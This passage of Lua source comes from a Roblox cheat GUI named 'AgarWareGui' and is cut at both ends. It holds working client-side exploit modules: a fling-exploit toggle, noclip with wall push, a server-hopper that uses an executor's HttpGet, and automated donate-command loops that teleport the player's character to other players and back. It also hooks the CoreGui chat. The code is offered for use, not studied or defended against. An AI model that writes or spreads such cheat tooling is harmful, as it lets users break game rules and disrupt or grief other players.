FlingExploitTickBox = FlingExploitRow:WaitForChild("FlingExploitTickBox") local PunishAccentColor = PunishGroup:WaitForChild("PunishAccentColor") shared.FlingExploitEnabled = false local function updateVisual() if shared.FlingExploitEnabled then FlingExploitTickBox.BackgroundColor3 = PunishAccentColor.BackgroundColor3 else FlingExploitTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) end end FlingExploitTickBox.MouseButton1Click:Connect(function() shared.FlingExploitEnabled = not shared.FlingExploitEnabled updateVisual() end) updateVisual() script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then shared.FlingExploitEnabled = false end end) end; task.spawn(C_243); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscScript local function C_24a() local script = G2L["24a"]; local MiscGroup = script.Parent local MiscMinimize = MiscGroup.MiscTitle.MiscMinimize local function getRows() local rows = {} for _, child in ipairs(MiscGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = MiscGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) MiscMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then MiscGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end MiscMinimize.Text = "+" else MiscGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end MiscMinimize.Text = "-" end end) end; task.spawn(C_24a); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.LJoinXLRow.LJoinXLScript local function C_250() local script = G2L["250"]; local Players = game:GetService("Players") local RunService = game:GetService("RunService") local TeleportService = game:GetService("TeleportService") local HttpService = game:GetService("HttpService") local LocalPlayer = Players.LocalPlayer local LJoinXLRow = script.Parent local LJoinXLButton = LJoinXLRow.LJoinXLButton local PLACE_ID = 12943245078 local HOLD_TIME = 1.0 local GREY = Color3.fromRGB(80, 80, 80) -------------------------------------------------- -- BUILD HOLD-BUTTON UI -------------------------------------------------- LJoinXLButton.Text = "" local fillBar = Instance.new("Frame") fillBar.Name = "FillBar" fillBar.Size = UDim2.new(0, 0, 1, 0) fillBar.Position = UDim2.new(0, 0, 0, 0) fillBar.BackgroundColor3 = GREY fillBar.BorderSizePixel = 0 fillBar.ZIndex = 1 fillBar.Parent = LJoinXLButton local btnLabel = Instance.new("TextLabel") btnLabel.Name = "BtnLabel" btnLabel.Size = UDim2.new(1, 0, 1, 0) btnLabel.Position = UDim2.new(0, 0, 0, 0) btnLabel.BackgroundTransparency = 1 btnLabel.Text = "Join Largest XL" btnLabel.TextColor3 = Color3.new(1, 1, 1) btnLabel.TextSize = 14 btnLabel.Font = Enum.Font.Code btnLabel.ZIndex = 2 btnLabel.Parent = LJoinXLButton -------------------------------------------------- -- HOLD STATE -------------------------------------------------- local holding = false local progress = 0 local connection = nil local cachedCount = nil local function stopHold() holding = false if connection then connection:Disconnect() connection = nil end progress = 0 fillBar.Size = UDim2.new(0, 0, 1, 0) fillBar.BackgroundColor3 = GREY if cachedCount and cachedCount > 0 then btnLabel.Text = "Join Largest XL (" .. cachedCount .. ")" else btnLabel.Text = "Join Largest XL" end end -------------------------------------------------- -- FIND BIGGEST SERVER -------------------------------------------------- local function getBiggestServer() local bestJobId = nil local bestCount = -1 local cursor = "" local maxPages = 5 for page = 1, maxPages do local url = string.format( "https://games.roblox.com/v1/games/%d/servers/Public?sortOrder=Desc&limit=100", PLACE_ID ) if cursor ~= "" then url = url .. "&cursor=" .. cursor end local ok, result = pcall(function() return HttpService:JSONDecode(game:HttpGet(url)) end) if not ok or not result or not result.data then break end for _, server in ipairs(result.data) do local count = server.playing or 0 if count > bestCount then bestCount = count bestJobId = server.id end end if not result.nextPageCursor or result.nextPageCursor == HttpService.null then break end cursor = result.nextPageCursor end return bestJobId, bestCount end -------------------------------------------------- -- FETCH COUNT ON LOAD + REFRESH EVERY 30s -------------------------------------------------- task.spawn(function() local _, playerCount = getBiggestServer() if playerCount and playerCount > 0 then cachedCount = playerCount if not holding then btnLabel.Text = "Join Largest XL (" .. playerCount .. ")" end end end) task.spawn(function() while true do task.wait(30) local _, playerCount = getBiggestServer() if playerCount and playerCount > 0 then cachedCount = playerCount if not holding then btnLabel.Text = "Join Largest XL (" .. playerCount .. ")" end end end end) -------------------------------------------------- -- JOIN FUNCTION -------------------------------------------------- local function joinBiggestServer() btnLabel.Text = "Finding server..." task.spawn(function() local jobId, playerCount = getBiggestServer() if not jobId then btnLabel.Text = "No servers found!" task.wait(3) stopHold() return end if game.JobId == jobId then btnLabel.Text = "Already in server!" task.wait(3) stopHold() return end btnLabel.Text = "Joining (" .. playerCount .. " players)..." task.wait(0.5) local ok, err = pcall(function() TeleportService:TeleportToPlaceInstance(PLACE_ID, jobId, LocalPlayer) end) if not ok then btnLabel.Text = "Teleport failed!" task.wait(3) stopHold() end end) end -------------------------------------------------- -- INPUT CONNECTIONS -------------------------------------------------- LJoinXLButton.MouseButton1Down:Connect(function() holding = true progress = 0 btnLabel.Text = "Hold to Join..." connection = RunService.RenderStepped:Connect(function(dt) if not holding then return end progress = math.clamp(progress + (dt / HOLD_TIME), 0, 1) fillBar.Size = UDim2.new(progress, 0, 1, 0) if progress >= 1 then stopHold() joinBiggestServer() end end) end) LJoinXLButton.MouseButton1Up:Connect(function() stopHold() end) LJoinXLButton.MouseLeave:Connect(function() stopHold() end) -------------------------------------------------- -- CLEANUP -------------------------------------------------- script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then if connection then connection:Disconnect() end end end) end; task.spawn(C_250); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow.NNoclipScript local function C_253() local script = G2L["253"]; -- ============================================================ -- NNOCLIP SCRIPT (BLOCK STAND + FORCED JUMP) -- ============================================================ local Players = game:GetService("Players") local RunService = game:GetService("RunService") local UserInputService = game:GetService("UserInputService") local LocalPlayer = Players.LocalPlayer local NNoclipRow = script.Parent local NNoclipTickBox = NNoclipRow.NNoclipTickBox local MiscGroup = NNoclipRow.Parent local function getAccentColor() local a = MiscGroup:FindFirstChild("MiscAccentColor") return a and a.BackgroundColor3 or Color3.new(1,1,1) end local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end -- ============================================================ -- TOOLTIP (UPDATED TO CHATSPY STYLE) -- ============================================================ local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16,16,16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0,212,0,0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local tooltipStroke = Instance.new("UIStroke", tooltipFrame) tooltipStroke.Color = Color3.fromRGB(57, 57, 57) local tooltipPadding = Instance.new("UIPadding", tooltipFrame) tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) local tooltipLabel = Instance.new("TextLabel", tooltipFrame) tooltipLabel.BackgroundTransparency = 1 tooltipLabel.Text = "Prevents you from falling through blocks when noclipped. This does not mean you can collide with other people" tooltipLabel.TextColor3 = Color3.new(1, 1, 1) tooltipLabel.TextSize = 14 tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top tooltipLabel.Font = Enum.Font.GothamSemibold tooltipLabel.TextWrapped = true tooltipLabel.Size = UDim2.new(0, 200, 0, 0) tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y tooltipLabel.ZIndex = 101 NNoclipTickBox.MouseEnter:Connect(function() local abs = NNoclipTickBox.AbsolutePosition local size = NNoclipTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) NNoclipTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) -- ============================================================ -- CONSTANTS -- ============================================================ local CHAR_HALF_HEIGHT = 2.1 local CHAR_HALF_WIDTH = 0.6 local PUSH_EXTRA = 0.05 local FLOOR_SCAN = 8 -- ============================================================ -- STATE -- ============================================================ local isEnabled = false local loopConn local jumpDebounce = false local function enable() isEnabled = true NNoclipTickBox.BackgroundColor3 = getAccentColor() -- Forced Jump System UserInputService.JumpRequest:Connect(function() if jumpDebounce then return end local char = LocalPlayer.Character if not char then return end local hrp = char:FindFirstChild("HumanoidRootPart") local humanoid = char:FindFirstChildOfClass("Humanoid") if not hrp or not humanoid then return end local rayParams = RaycastParams.new() rayParams.FilterType = Enum.RaycastFilterType.Exclude rayParams.FilterDescendantsInstances = {char} local hit = workspace:Raycast(hrp.Position, Vector3.new(0,-6,0), rayParams) if hit then jumpDebounce = true humanoid:ChangeState(Enum.HumanoidStateType.Jumping) local vel = hrp.AssemblyLinearVelocity hrp.AssemblyLinearVelocity = Vector3.new(vel.X, humanoid.JumpPower, vel.Z) task.wait(0.15) jumpDebounce = false end end) loopConn = RunService.RenderStepped:Connect(function() local char = LocalPlayer.Character if not char then return end local hrp = char:FindFirstChild("HumanoidRootPart") if not hrp then return end local pos = hrp.Position local cf = hrp.CFrame local rayParams = RaycastParams.new() rayParams.FilterType = Enum.RaycastFilterType.Exclude rayParams.FilterDescendantsInstances = {char} -- floor snap local hit = workspace:Raycast(pos, Vector3.new(0,-FLOOR_SCAN,0), rayParams) if hit then local surfaceY = hit.Position.Y + CHAR_HALF_HEIGHT if pos.Y < surfaceY then local vel = hrp.AssemblyLinearVelocity hrp.AssemblyLinearVelocity = Vector3.new(vel.X,0,vel.Z) -- rotation unlocked hrp.CFrame = CFrame.new(Vector3.new(pos.X,surfaceY,pos.Z)) * CFrame.fromMatrix(Vector3.new(), cf.RightVector, cf.UpVector) pos = hrp.Position end end -- WALL PUSH local newPos = pos local scanDist = CHAR_HALF_WIDTH + 1 local dirs = {cf.LookVector, -cf.LookVector, cf.RightVector, -cf.RightVector} for _, dir in ipairs(dirs) do local result = workspace:Raycast(pos, dir * scanDist, rayParams) if result then local dist = (result.Position - pos).Magnitude if dist < CHAR_HALF_WIDTH then newPos = newPos + (-dir * (CHAR_HALF_WIDTH - dist + PUSH_EXTRA)) end end end if (newPos - pos).Magnitude > 0.01 then -- rotation unlocked local currentCFrame = hrp.CFrame hrp.CFrame = CFrame.new(newPos) * CFrame.fromMatrix(Vector3.new(), currentCFrame.RightVector, currentCFrame.UpVector) end end) end local function disable() isEnabled = false NNoclipTickBox.BackgroundColor3 = Color3.new(0,0,0) if loopConn then loopConn:Disconnect() end end -- ============================================================ -- TOGGLE -- ============================================================ NNoclipTickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) end; task.spawn(C_253); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow.DecimalFixerScript local function C_257() local script = G2L["257"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local DecimalFixerRow = script.Parent local DecimalFixerTickBox = DecimalFixerRow.DecimalFixerTickBox local MiscGroup = DecimalFixerRow.Parent local function getAccentColor() local a = MiscGroup:FindFirstChild("MiscAccentColor") return a and a.BackgroundColor3 or Color3.new(1,1,1) end local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end -------------------------------------------------- -- TOOLTIP -------------------------------------------------- local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16,16,16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0,212,0,0) tooltipFrame.Visible = false local sg = getScreenGui() if sg then tooltipFrame.Parent = sg end local tooltipStroke = Instance.new("UIStroke", tooltipFrame) tooltipStroke.Color = Color3.fromRGB(57,57,57) local tooltipPadding = Instance.new("UIPadding", tooltipFrame) tooltipPadding.PaddingTop = UDim.new(0,6) tooltipPadding.PaddingBottom = UDim.new(0,6) tooltipPadding.PaddingLeft = UDim.new(0,6) tooltipPadding.PaddingRight = UDim.new(0,6) local tooltipLabel = Instance.new("TextLabel") tooltipLabel.BackgroundTransparency = 1 tooltipLabel.Text = "Fixes your own time decimals by donating other players your decimals." tooltipLabel.TextColor3 = Color3.new(1,1,1) tooltipLabel.TextSize = 14 tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top tooltipLabel.Font = Enum.Font.GothamSemibold tooltipLabel.TextWrapped = true tooltipLabel.Size = UDim2.new(0,200,0,0) tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y tooltipLabel.ZIndex = 101 tooltipLabel.Parent = tooltipFrame DecimalFixerTickBox.MouseEnter:Connect(function() local abs = DecimalFixerTickBox.AbsolutePosition local size = DecimalFixerTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) DecimalFixerTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) -------------------------------------------------- -- SHARED MUTUAL EXCLUSIVE -------------------------------------------------- shared.DecimalFixerActive = shared.DecimalFixerActive or nil -- "self" = this script on, "other" = other script on -------------------------------------------------- -- CHAT -------------------------------------------------- local function sendChat(message) if shared.sendChat then shared.sendChat(message) end end -------------------------------------------------- -- STATE -------------------------------------------------- local isEnabled = false local loopRunning = false -------------------------------------------------- -- PROCESS -------------------------------------------------- local function processDecimal(textLabel) local text = textLabel.Text local number = tonumber(text) if not number then return end if number == math.floor(number) then return end local decimalStr = text:match("%.(.+)") if not decimalStr then return end local message = ";donate r 1." .. decimalStr print("DecimalFixer →", text, "=>", message) sendChat(message) end -------------------------------------------------- -- ENABLE / DISABLE -------------------------------------------------- local function disable(silent) isEnabled = false DecimalFixerTickBox.BackgroundColor3 = Color3.new(0,0,0) if shared.DecimalFixerActive == "self" then shared.DecimalFixerActive = nil end end local function enable() -- Turn off other decimal fixer if on if shared.DecimalFixerActive == "other" then if shared.DisableOtherDecimalFixer then shared.DisableOtherDecimalFixer() end end isEnabled = true shared.DecimalFixerActive = "self" DecimalFixerTickBox.BackgroundColor3 = getAccentColor() local ok, char = pcall(function() return workspace:WaitForChild(LocalPlayer.Name, 10) end) if not ok or not char then loopRunning = false return end local ok2, tiempo = pcall(function() return char:WaitForChild("Tiempo", 10) end) if not ok2 or not tiempo then loopRunning = false return end local ok3, textLabel = pcall(function() return tiempo:WaitForChild("Text1", 10) end) if not ok3 or not textLabel then loopRunning = false return end if loopRunning then return end loopRunning = true task.spawn(function() while isEnabled do processDecimal(textLabel) task.wait(5) end loopRunning = false end) end -- Expose disable for mutual exclusive shared.DisableSelfDecimalFixer = disable DecimalFixerTickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then isEnabled = false tooltipFrame:Destroy() end end) end; task.spawn(C_257); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow.OtherDecimalFixerScript local function C_25b() local script = G2L["25b"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local OtherDecimalFixerRow = script.Parent local OtherDecimalFixerTickBox = OtherDecimalFixerRow.OtherDecimalFixerTickBox local MiscGroup = OtherDecimalFixerRow.Parent local function getAccentColor() local a = MiscGroup:FindFirstChild("MiscAccentColor") return a and a.BackgroundColor3 or Color3.new(1,1,1) end local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end -------------------------------------------------- -- TOOLTIP -------------------------------------------------- local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16,16,16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0,212,0,0) tooltipFrame.Visible = false local sg = getScreenGui() if sg then tooltipFrame.Parent = sg end local tooltipStroke = Instance.new("UIStroke", tooltipFrame) tooltipStroke.Color = Color3.fromRGB(57,57,57) local tooltipPadding = Instance.new("UIPadding", tooltipFrame) tooltipPadding.PaddingTop = UDim.new(0,6) tooltipPadding.PaddingBottom = UDim.new(0,6) tooltipPadding.PaddingLeft = UDim.new(0,6) tooltipPadding.PaddingRight = UDim.new(0,6) local tooltipLabel = Instance.new("TextLabel") tooltipLabel.BackgroundTransparency = 1 tooltipLabel.Text = "Fixes other players time decimals by donating to them but makes your time into decimals." tooltipLabel.TextColor3 = Color3.new(1,1,1) tooltipLabel.TextSize = 14 tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top tooltipLabel.Font = Enum.Font.GothamSemibold tooltipLabel.TextWrapped = true tooltipLabel.Size = UDim2.new(0,200,0,0) tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y tooltipLabel.ZIndex = 101 tooltipLabel.Parent = tooltipFrame OtherDecimalFixerTickBox.MouseEnter:Connect(function() local abs = OtherDecimalFixerTickBox.AbsolutePosition local size = OtherDecimalFixerTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) OtherDecimalFixerTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) -------------------------------------------------- -- SHARED MUTUAL EXCLUSIVE -------------------------------------------------- shared.DecimalFixerActive = shared.DecimalFixerActive or nil -------------------------------------------------- -- CHAT -------------------------------------------------- local function sendChat(message) if shared.sendChat then shared.sendChat(message) end end -------------------------------------------------- -- STATE -------------------------------------------------- local isEnabled = false local loopRunning = false local ignoredPlayers = {} -- userId -> tick() when ignore expires local attemptTracker = {} -- userId -> {times={}} -------------------------------------------------- -- HELPERS -------------------------------------------------- local function getPlayerTime(player) local char = workspace:FindFirstChild(player.Name) if not char then return nil end local tiempo = char:FindFirstChild("Tiempo") if not tiempo then return nil end local text1 = tiempo:FindFirstChild("Text1") if not text1 then return nil end local num = tonumber(text1.Text) return num end local function hasDecimal(num) if not num then return false end return num ~= math.floor(num) end local function calcDonateAmount(num) local decimalPart = num - math.floor(num) local amount = 1 + (1 - decimalPart) return string.format("%.10f", amount):gsub("0+$",""):gsub("%.$","") end -- Replace _ with . in username local function sanitizeUsername(name) return name:gsub("_", ".") end -- Get shortest unique prefix for a player among all players with decimal time local function getUniquePrefix(targetPlayer, decimalPlayers) local targetName = targetPlayer.Name for len = 5, #targetName do local prefix = targetName:sub(1, len) local matches = 0 for _, p in ipairs(decimalPlayers) do if p.Name:sub(1, len) == prefix then matches += 1 end end if matches == 1 then return sanitizeUsername(prefix), true end end return nil, false end -- Track TP back position local function getMyHRP() local char = LocalPlayer.Character return char and char:FindFirstChild("HumanoidRootPart") end local function tpTo(player) local hrp = getMyHRP() if not hrp then return nil end local savedPos = hrp.CFrame local targetChar = workspace:FindFirstChild(player.Name) local targetHRP = targetChar and targetChar:FindFirstChild("HumanoidRootPart") if not targetHRP then return nil end hrp.CFrame = targetHRP.CFrame * CFrame.new(0, 0, 3) return savedPos end local function tpBack(savedCFrame) local hrp = getMyHRP() if hrp and savedCFrame then hrp.CFrame = savedCFrame end end local function trackAttempt(userId) local now = tick() attemptTracker[userId] = attemptTracker[userId] or {times = {}} local times = attemptTracker[userId].times table.insert(times, now) -- Clean attempts older than 1 minute for i = #times, 1, -1 do if now - times[i] > 60 then table.remove(times, i) end end return #times end -------------------------------------------------- -- FIX ONE PLAYER -------------------------------------------------- local function fixPlayer(player, decimalPlayers) local userId = player.UserId -- Check ignore if ignoredPlayers[userId] and tick() < ignoredPlayers[userId] then return end local num = getPlayerTime(player) if not num or not hasDecimal(num) then return end local amount = calcDonateAmount(num) local attempts = trackAttempt(userId) -- Try unique prefix first local prefix, isUnique = getUniquePrefix(player, decimalPlayers) if isUnique and attempts <= 5 then -- Send via prefix print("[OtherDecimalFixer] Fixing", player.Name, "via prefix:", prefix, "amount:", amount) sendChat(";donate " .. prefix .. " " .. amount) else -- TP to player, donate nearest, TP back print("[OtherDecimalFixer] TPing to", player.Name, "and donating nearest, amount:", amount) local savedPos = tpTo(player) if not savedPos then return end task.wait(0.5) -- Check they haven't moved too far local targetChar = workspace:FindFirstChild(player.Name) local targetHRP = targetChar and targetChar:FindFirstChild("HumanoidRootPart") local myHRP = getMyHRP() if targetHRP and myHRP and (myHRP.Position - targetHRP.Position).Magnitude > 10 then tpBack(savedPos) return end sendChat(";donate n " .. amount) task.wait(0.5) tpBack(savedPos) -- Check if fixed after TP donate task.wait(1) local newNum = getPlayerTime(player) if newNum and hasDecimal(newNum) and attempts >= 5 then -- Still not fixed after 5 attempts via TP — ignore for 5 mins ignoredPlayers[userId] = tick() + 300 print("[OtherDecimalFixer] Ignoring", player.Name, "for 5 minutes") end end end -------------------------------------------------- -- MAIN LOOP -------------------------------------------------- local function runLoop() while isEnabled do -- Get all players with decimal time (excluding self) local decimalPlayers = {} for _, player in ipairs(Players:GetPlayers()) do if player == LocalPlayer then continue end if ignoredPlayers[player.UserId] and tick() < ignoredPlayers[player.UserId] then continue end local num = getPlayerTime(player) if num and hasDecimal(num) then table.insert(decimalPlayers, player) end end -- Fix one at a time with 1 second between for _, player in ipairs(decimalPlayers) do if not isEnabled then break end fixPlayer(player, decimalPlayers) task.wait(1) end task.wait(5) end loopRunning = false end -------------------------------------------------- -- ENABLE / DISABLE -------------------------------------------------- local function disable() isEnabled = false OtherDecimalFixerTickBox.BackgroundColor3 = Color3.new(0,0,0) if shared.DecimalFixerActive == "other" then shared.DecimalFixerActive = nil end end local function enable() -- Turn off self decimal fixer if on if shared.DecimalFixerActive == "self" then if shared.DisableSelfDecimalFixer then shared.DisableSelfDecimalFixer() end end isEnabled = true shared.DecimalFixerActive = "other" OtherDecimalFixerTickBox.BackgroundColor3 = getAccentColor() ignoredPlayers = {} attemptTracker = {} if loopRunning then return end loopRunning = true task.spawn(runLoop) end -- Expose disable for mutual exclusive shared.DisableOtherDecimalFixer = disable OtherDecimalFixerTickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then isEnabled = false tooltipFrame:Destroy() end end) end; task.spawn(C_25b); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow.EnliChatBlueScript local function C_25f() local script = G2L["25f"]; local EnliChatBlueRow = script.Parent local MiscGroup = EnliChatBlueRow.Parent local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor") local EnliChatBlueTickBox = EnliChatBlueRow:WaitForChild("EnliChatBlueTickBox") -------------------------------------------------- -- ENABLE STATE -------------------------------------------------- EnliChatBlueTickBox.BackgroundColor3 = Color3.new(0, 0, 0) EnliChatBlueTickBox.MouseButton1Click:Connect(function() if EnliChatBlueTickBox.BackgroundColor3 == Color3.new(0, 0, 0) then EnliChatBlueTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3 else EnliChatBlueTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end end) -------------------------------------------------- -- TOOLTIP -------------------------------------------------- local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local stroke = Instance.new("UIStroke", tooltipFrame) stroke.Color = Color3.fromRGB(57, 57, 57) local padding = Instance.new("UIPadding", tooltipFrame) padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = "Shows a 🌟 next to enlightened players names in chat." label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = tooltipFrame EnliChatBlueTickBox.MouseEnter:Connect(function() local abs = EnliChatBlueTickBox.AbsolutePosition local size = EnliChatBlueTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) EnliChatBlueTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() end end) end; task.spawn(C_25f); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow.AutoEnliScript local function C_263() local script = G2L["263"]; local AutoEnliRow = script.Parent local AutoEnliTickBox = AutoEnliRow:WaitForChild("AutoEnliTickBox") local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local CoreGui = game:GetService("CoreGui") local function getAccentColor() local MiscGroup = AutoEnliRow.Parent local a = MiscGroup:FindFirstChild("MiscAccentColor") if a then return a.BackgroundColor3 else return Color3.new(1, 1, 1) end end -- State local isEnabled = false -- ============================================================ -- TOGGLE -- ============================================================ local function toggle() isEnabled = not isEnabled if isEnabled then AutoEnliTickBox.BackgroundColor3 = getAccentColor() else AutoEnliTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end end AutoEnliTickBox.MouseButton1Click:Connect(toggle) -- ============================================================ -- FUNCTIONS -- ============================================================ local function getEquippedTool() local character = LocalPlayer.Character if not character then return nil end return character:FindFirstChildOfClass("Tool") end local function equipArkenstone() local arkenstone = LocalPlayer.Backpack:FindFirstChild("The Arkenstone") if not arkenstone then return false end local character = LocalPlayer.Character if not character then return false end local humanoid = character:FindFirstChild("Humanoid") if not humanoid then return false end humanoid:EquipTool(arkenstone) return true end local function unequip() local character = LocalPlayer.Character if not character then return end local humanoid = character:FindFirstChild("Humanoid") if not humanoid then return end humanoid:UnequipTools() end local function equipTool(tool) if not tool or tool.Parent ~= LocalPlayer.Backpack then return end local character = LocalPlayer.Character if not character then return end local humanoid = character:FindFirstChild("Humanoid") if not humanoid then return end humanoid:EquipTool(tool) end -- ============================================================ -- WATCH BUBBLE CHAT -- ============================================================ local function watchBubbleChat() local experienceChat = CoreGui:WaitForChild("ExperienceChat", 10) if not experienceChat then return end local bubbleChat = experienceChat:WaitForChild("bubbleChat", 10) if not bubbleChat then return end local myBubbleChatName = "BubbleChat_" .. LocalPlayer.UserId local myBubbleChat = bubbleChat:WaitForChild(myBubbleChatName, 10) if not myBubbleChat then return end local bubbleChatList = myBubbleChat:WaitForChild("BubbleChatList", 10) if not bubbleChatList then return end -- Watch for new bubble frames bubbleChatList.ChildAdded:Connect(function(bubble) if not isEnabled then return end if string.match(bubble.Name, "^Bubble" .. LocalPlayer.UserId) then local previousTool = getEquippedTool() task.wait(0.01) equipArkenstone() task.wait(0.19) if previousTool then unequip() task.wait(0.05) equipTool(previousTool) else unequip() end end end) end task.spawn(watchBubbleChat) -- ============================================================ -- INITIALIZE -- ============================================================ AutoEnliTickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- ============================================================ -- TOOLTIP -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local stroke = Instance.new("UIStroke", tooltipFrame) stroke.Color = Color3.fromRGB(57, 57, 57) local padding = Instance.new("UIPadding", tooltipFrame) padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = "Automatically equips enlighten when you type anything in chat without having to equip it manually." label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = tooltipFrame AutoEnliTickBox.MouseEnter:Connect(function() local abs = AutoEnliTickBox.AbsolutePosition local size = AutoEnliTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) AutoEnliTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() end end) end; task.spawn(C_263); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow.ChatFixScript local function C_267() local script = G2L["267"]; local ChatFixRow = script.Parent local 